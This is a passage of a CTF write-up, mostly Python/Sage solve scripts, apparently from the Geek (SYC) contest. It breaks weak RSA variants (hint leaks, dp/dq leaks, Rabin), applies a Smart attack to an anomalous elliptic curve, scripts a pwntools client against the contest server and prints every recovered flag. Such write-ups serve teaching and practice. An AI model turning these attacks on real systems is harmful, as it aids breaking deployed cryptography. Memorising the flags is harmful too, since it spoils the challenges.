N=12114282140129030221139165720039766369206816602912543911543781978648770300084428613171061953060266384429841484428732215252368009811130875276347534941874714457297474025227060487490713853301440917877280771734998220874195868270983517296552761924477514745040473578887509936945790259245154138347432294762694643113545451605193155323886625417458980089197202274810691448592725400564114850712497863770625334209249566232989992606497076063348029665644680946906322428277225178838518025623254240893146791821359089473224900379808514993113560101567320224162858217031176854613011276425771708406954417610317789259885040739954642374667
n=91891351711379799931394178123406137903027189477005569059936904007248535049052097057222486024223574959494899324706948906013350601442586596023020519058250868888847562977333671773188012014902448961387215600156932673504112816058893268362611211565216592933077956777032650164332488098756557422740070442941348084921
c=3231265723829112665640925095346482445691074656152495613367006320791218303024667683148786980985160622882017055128261102169256263170652774489339801477001275058585666508737704987192764426162573977263344192886400249198007892940084066468570229353879431384001463041292940472308358540532108957894938586227682908251475990882169979412586767210087025064295224506676379057986353004282550774815876093769770845018817117647615011444989401149674886486770646765454314760906436659162076044268401041579090930954919862146749470426101754009562077505810024012143379326028465156444246440949112724465484939452061684185387430755268355807999
gift=5160856643507450510397828582001051679762426399445648048700295372044216322163410374903665868763924707209143638999442462398781974627158916257502760763419216
gift1=10475668758451987289276918780968515546700284023143612685496241510488708701498972819305540608876501965534227236009502810417525671358108167575178008316645429
gift2=2089035701361172996472331829521141923363322027241591404259262848963755908765054555529259508147866255819680957406084877552079796025933552021516283158425474
p =7347058180498476506950418253215069445545968207969914980520455662633717313659407471104204242158172803075449282408078252310036642316976286820260163628266163
q =12507230711101465546704208050956623660941100722518212464401483461793631816617115204878992746828172476791349975322386036828178155591256841441610173239204067
s_r = N // n
A = gift2 + 2 * gift1
D = A * A - 4 * s_r
sqrt_D = isqrt(D)
s = (A + sqrt_D) // 2
r = (A - sqrt_D) // 2
phi = (p - 1) * (q - 1) * (s - 1) * (r - 1)
e = 65537
d = pow(e, -1, phi)
m = pow(c, d, N)
flag = long_to_bytes(m)
print("Flag:", flag.decode())
flag
syc{we1c0me_t190_ge1k_your_code_is_v1ey_de1psrc!}
Caesar Slot Machine
解题记录
这就是个大号的pwn签到题,只需要解 current = x % P current = (a * current + b) % P current == (x % P)
exp
import math
from pwn import *
io = remote('geek.ctfplus.cn',31768)
for i in range (30):
line = io.recvuntil(b':').decode()
print("DBG:",line)
a = int(io.recvuntil(b':').decode()[0:10].replace(" ",""))
print("DBG:",a)
b = int(io.recvuntil(b':').decode()[0:10].replace(" ",""))
print("DBG:",b)
def solve_mod_equation(P, a, b):
if a == 1:
if b % P == 0:
return list(range(P))
else:
return []
else:
c = 1 - a
d = math.gcd(c, P)
if b % d != 0:
return []
else:
c1 = c // d
b1 = b // d
P1 = P // d
inv = pow(c1, -1, P1)
y0 = (b1 * inv) % P1
solutions = []
for k in range(d):
y = y0 + k * P1
solutions.append(y)
return solutions
P =1000000007
solutions = solve_mod_equation(P, a, b)
calcs = str(solutions[0])
io.sendline(calcs)
io.recvuntil(b"!\n")
io.interactive()
ez_ecc
解题记录
标准的ecc题目,直接套smart attack的模板即可
exp
from Crypto.Util.number import *
from sage.all import *
p = 0xfba8cae6451eb4c413b60b892ee2d517dfdb17a52451776a68efa34485619411
A = 0x1ef1e93d0f9acda1b7c0172f27d28f3a7d0f2d9343513a3aac191e12f6e51123
B = 0xcad65954bbe0fb8f2f9c22b5cae1aa42306fd58e8394652818e781e5f808e17a
E = EllipticCurve(GF(p),[A,B])
P = E(0x708c0cf66f132122f3fcd1f75c6f22d4a90d34650dd81fb3a57b75dad98d35e7,0xcfb017daf37cbba3c6a5c6e7c4327692595c16b47e4bfa1ad400bffe5b500fba)
Q = E(97490713033364940809544067604441149095210096571946998449251275861394744757515,32198694245056943922016695558131047889851279706531342583322750112905104448879)
def SmartAttack(P,Q,p):
E = P.curve()
Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])
P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
for P_Qp in P_Qps:
if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
break
Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
for Q_Qp in Q_Qps:
if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
break
p_times_P = p*P_Qp
p_times_Q = p*Q_Qp
x_P,y_P = p_times_P.xy()
x_Q,y_Q = p_times_Q.xy()
phi_P = -(x_P/y_P)
phi_Q = -(x_Q/y_Q)
k = phi_Q/phi_P
return ZZ(k)
flag = SmartAttack(P, Q, p)
print(long_to_bytes(flag))
flag
SYC{@n()ma1ou$_cu2ves_r!sky}
pem
解题记录
key.pem和enc都有,直接解RSA
exp
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP, PKCS1_v1_5
from Crypto.Util.number import long_to_bytes, bytes_to_long
import base64
with open('key.pem', 'r') as f:
private_key = RSA.import_key(f.read())
with open('enc', 'rb') as f:
ciphertext = f.read()
try:
ct_int = bytes_to_long(ciphertext)
pt_int = pow(ct_int, private_key.d, private_key.n)
plaintext = long_to_bytes(pt_int)
print(f"flag: {plaintext.decode('utf-8', errors='ignore')}")
except Exception as e:
print(f"error: {e}")
flag
SYC{PEM_1s_n0t_only_S5l}
baby_rabin
解题记录
直接用factordb分解p,q,直接解m
exp
import gmpy2
from Crypto.Util.number import long_to_bytes
import itertools
def find_8th_roots_mod_prime(c, p):
roots = []
r1 = gmpy2.powmod(c, (p + 1) // 4, p)
roots.extend([r1, p - r1])
fourth_roots = []
for root in roots:
fr = gmpy2.powmod(root, (p + 1) // 4, p)
fourth_roots.extend([fr, p - fr])
eighth_roots = []
for root in fourth_roots:
er = gmpy2.powmod(root, (p + 1) // 4, p)
eighth_roots.extend([er, p - er])
return list(set(eighth_roots))
def crt(remainders, moduli):
total = 0
prod = 1
for m in moduli:
prod *= m
for r_i, m_i in zip(remainders, moduli):
p = prod // m_i
total += r_i * gmpy2.invert(p, m_i) * p
return total % prod
def main():
C=451731346880007131332999430306985234187530419447859396067624968918101700861978676040615622417464916959678829732066195225132545956101693588984833424213755513877236702139360270137668415610295492436471366218119012903840729628449361663941761372974624789549775182866112541811446267811259781269568865266459437049508062916974638523947634702667929562107001830919422408810565410106056693018550877651160930860996772712877149329227066558481842344525735406568814917991752005
n=491917847075013900815069309520768928274976990404751846981543204333198666419468384809286945880906855848713238459489821614928060098982194326560178675579884014989600009897895019721278191710357177079087876324831068589971763176646200619528739550876421709762258644696629617862167991346900122049024287039400659899610706153110527311944790794239992462632602379626260229348762760395449238458507745619804388510205772573967935937419407673995019892908904432789586779953769907
hint=66035251530240295423188999524554429498804416520951289016547753908652377333150838269168825344004730830028024338415783274479674378412532765763584271087554367024433779628323692638506285635583547190049386810983085033061336995321777237180762044362497604095831885258146390576684671783882528186837336673907983527353
p = 8126207696720549329082137712377866763714498107449360320398058077477163232178648217462900996288494410540148868460607029478677856276076857845820034721107771
q = 8126207696720549329082137712377866763714498107449360320398058077477163232178648217462900996290101348584407858736148991571019018878599060839602827556409243
r = n // hint
assert p % 4 == 3 and q % 4 == 3 and r % 4 == 3
roots_p = find_8th_roots_mod_prime(C, p)
roots_q = find_8th_roots_mod_prime(C, q)
roots_r = find_8th_roots_mod_prime(C, r)
moduli = [p, q, r]
found_flag = False
total_combinations = len(roots_p) * len(roots_q) * len(roots_r)
for i, (rp, rq, rr) in enumerate(itertools.product(roots_p, roots_q, roots_r)):
solution = crt([rp, rq, rr], moduli)
try:
candidate = long_to_bytes(solution)
if b'flag' in candidate or b'ctf' in candidate.lower() or b'{' in candidate:
print(f"flag: {candidate}")
break
except:
pass
if __name__ == "__main__":
main()
xor_revenge
解题记录
检查返回的n的因数只检查是否与n取余为0,直接把n发回去两次就行了
flag
SYC{hahaha_th1_factor_is_N0t_ha16}
dp_spill
解题记录
选择一个小底数𝑎计算A=a^e%n,a^−1%n 对 d_p 从 1 到 2^BITS - 1 计算x = (A^d_p*a^-1)%n g = gcd(x-1,n) 如果1<g<n,得到银因子p=g,q=n/p停止 然后p+q,计算sha256(p+q)
exp
n = 59802493250926859707985963604065644706006753432029457979480870189591634515944547801582044132550574140049396756158974108666587177618882259807156459782125677704143102175791607852135852403246382056816004306499712131698646815738798243056590111291799398438023345030391834782966046976995917844819454047154287312391
e = 55212884840887233646138079973875295799093171847359460085387084716906818593689341421818829383370282800231404248386041253598996862719171485530961860941585382910224531768283026267484780257269526617362183903996384696040145787076592207619279689647074176697837752679360230601598541884491676076657287130000027117241
from Crypto.Util.number import GCD
import hashlib
import sys
BITS = 20
def try_recover_factor(n, e, BITS, bases=(2,3,5,7,11)):
for a in bases:
if GCD(a, n) != 1:
g = GCD(a, n)
if 1 < g < n:
return (g, n//g, a, None)
continue
A = pow(a, e, n)
try:
inv_a = pow(a, -1, n)
except ValueError:
continue
for d_p in range(1, 1 << BITS):
x = (pow(A, d_p, n) * inv_a) % n
g = GCD(x - 1, n)
if 1 < g < n:
p = g
q = n // g
return (p, q, a, d_p)
return None
def main():
res = try_recover_factor(n, e, BITS, bases=(2,3,5,7,11,13,17))
p, q, base_used, d_p_found = res
s = str(p + q).encode()
flag_hash = hashlib.sha256(s).hexdigest()
print("Flag: SYC{" + flag_hash + "}")
if __name__ == "__main__":
main()
flag
SYC{644684707c540998d760975fb98a816a469ec567abe5c8004164d3ce887c6a8e}
Disclose
解题记录
dq = d % (q - 1),d * e % ((p-1)(q-1)) == 1 所以d * e % (q-1) == 1 又因为dq = d % (q-1) 所以edq = 1 + k*(q-1) 取任意不被 p 或 q 整除的整数 a,例如 3,5,7,…,就能得到:a**(edq) % q == a % q 代入a**(edq) = a**(1 + k*(q-1)) = a * (a**(q-1))k 根据费马小定理a(q-1) % q == 1 因此最终a**(edq) % q == a % q 于是(a**(edq) - a) % q == 0 所以gcd(a**(e*dq) - a, n) == q
exp
from math import gcd
from Crypto.Util.number import *
n = 259787328713315620669972878133037988076215916550647711246939676477326421129812013679655754313165138535008411950313861029496051740521361999159396760989834909603081600363947357112748647883977394670486758972444444439142111569713941555128481912069206288996136103241520037293009874925975282333163541887307464845637591763227092634236013041271880254215362783937683868306313993128035189967091568339765295122704805004687960409586156492514826705669219883130894837499370163894909020869677997529751680238466436501721265413943262568271164547660870177889287883337700613985620882071517309593058133486504491987638053802704885406321489
dq = 22499014253625008930376465290523079246236903672491529428949946205185543555249003236181305161565081242391920797396454563137397269152501398025721057979839815010145158362677658875505461725215023623199075647605873076372373127281663691994250233620145698675916320588215123270286378681617192723590595528629007323619
c = 6370053764427872753918916672520952591890815345305784661535167250636567614044442456829951926201367031691890397266551896051506485503559355632977037940932465451673402461276283344898143212429679842407935863578100874434864110951261893629193556575965754852130079804129027545776519410420168588918897574771225807265360467679437166130735732969205196853246138265462918730868587864117597334192701298070798102481475959547503973860672351511772559847970384102048811464809463784622382282732625019306431797575127684452390281458642683831354534593808201093823305835131373576894519989150022396180064841804679779794213399320560860722616
e_high = 1217218333594918008784773594710739821599287411350951048190189539176815103546142818696781454251773183601401149085966947779641557137128602392
e=e_high//8
for a in [3,5,7,9,11]:
A=pow(a,e*dq,n)
q=gcd(A-a,n)
p=n//q
d=pow(e,-1,p-1)
flag=pow(c,d,p)
print(long_to_bytes(flag))
easy_RSA?
解题记录
由于文件给出了c_inner=c-inner可以恢复RSA密文c=c_inner+inner 文件还给出了p_m=p-m因此p=p_m+m。m是那个线性表达式中的整数,因此只要尝试若干小的 m 值,若 p_m + m 恰好整除 n,就可恢复 p(从而因式分解 n)
exp
from Crypto.Util.number import long_to_bytes
S = (34790, 60770, 29429, 54388, 22694, 50136, 13438, 7932, 46652, 9362, 44118, 48359, 50067, 29997, 63366, 36090, 7514, 16382, 24912, 369, 9261, 30671, 30689, 61154, 50897, 58137, 14927, 51518, 5782, 3971, 63594, 41078, 31477, 56610, 56084, 29542, 32843, 22096, 824, 52492, 33817, 24167, 38907, 48871, 24302, 62133, 60210, 7525, 55963, 48512, 16729, 26176, 37224, 14899, 11369, 38873, 41464, 30501, 23095, 21440, 14968, 36710, 15100, 50047)
A = (16147, 54417, 37346, 48225, 25834, 16202, 9615, 504, 54090, 24475, 53598, 20375, 4188, 42949, 38644, 5471, 48340, 49202, 58598, 31600, 17902, 22273, 4272, 58982, 16813, 41775, 46368, 20609, 4350, 16271, 14783, 21900, 63534, 6337, 38858, 35731, 39772, 52248, 38217, 48935, 1408, 50145, 24808, 4117, 12887, 13498, 27429, 61700, 47565, 44896, 50703, 64168, 27170, 31129, 5620, 63168, 45776, 13144, 23963, 25446, 60607, 17509, 34818, 1875)
b = 2764
p_m= 12332486510964011158671675941288876941680648099414795378886378613845684830972446231876321910330241399720401327967071598143881618549530749656312652927809332
e = 65537
c_inner = 83399431472999194690216705615169036306463958887795007046559917542746213139295638450504799784590430551922090084967974615725328386260579470125560123552483026894270772816722527064675899017519890685144620455393788325407207242732361884830126228889169785202880542117272251300802452717688849566335597550131883378114
n = 122559396923126188518673248748225863862082328215893788075556473340278133079967721064738539949068231864208941120351781811847301797522502385475722537534223195433223265299092527494031447238530457784670684950341075860748519372286474800355858313799189011550620881300518596006433001049004445597176250937388576661809
Q = 17609948494254197001867062519311260077211984293151667548900416829700969294407535620672384674573058455384106178087491089816127503299076697261227000724815039612665504495756229918248399034320834393598470026243543589231473237419452687730543063603595465136115669723541948895463396554918071128531213060909364601656950027389056898604223267691455263897256898136680792549706073818306730228357683709696946839634919997675816794970587698373035672596923359143664093017904285058387254576603859313018778309521049338455162936103498885466949142273058671319832535869174839812056921940398538003527621201520818008358558845582594247420459
P = 20652887190957239284631175340003902315126211938181093064207269195242550094032224965692251651673103425027250767184928851917797759012986735534298162794316194395592379533545344962294078494289760237724601340062723352085300184175255877738749851041498543752865574186669040985787587644798823596547499014922063118523650392438320527012937021768573183057529502842126637960161988353588863260221824429222676866093636690824910541149705709054550563060623762529654624849373383560043169934394338959338517866931347066483777887082048559999731906556171653815355183514550470420842104873391074567329742472001229790402635829640092130822763
q1 = 65537
inner = sum(a*s for a, s in zip(A, S)) % q1
c = c_inner + inner
p = None
m_found = None
for m in range(2_000_000):
p_cand = p_m + m
if n % p_cand == 0:
p = p_cand
q = n // p
m_found = m
print("[+] Found! m =", m)
print("[+] p =", p)
print("[+] q =", q)
break
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
m_flag = pow(c, d, n)
flag = long_to_bytes(m_flag)
print("Flag:", flag.decode())
flag
SYC{y0u_sh0u1d_learn_a_l0t_a0bout_LLL}
S_box
是个AES,key也给了,直接nc之后复制一下数据,套模板解
exp
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad
key1 = 18418224610639320248870372935080282239
cipher_bytes = b')\xf3<\xf3T\x18\xfd21\xa6w\xcf\x85S\x97m\x17\xab\x9f?q\x85\xc0\r\xd3\x02\n\x980\x06\xaf\xe4RX\x7fl\x18eV5\x07\xdb\x1f\x18S\x175n'
iv_bytes = b"\n\xa4\xc7\x1d\x16\xf5\xa7\xcb\xf8\x8a\x0bK\xd7'\xa9F"
key_bytes = long_to_bytes(key1, 16)
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
plain = unpad(cipher.decrypt(cipher_bytes), AES.block_size)
print(plain)
flag
SYC{SS_B0xx_I1s_ver1y_Differe1c999c}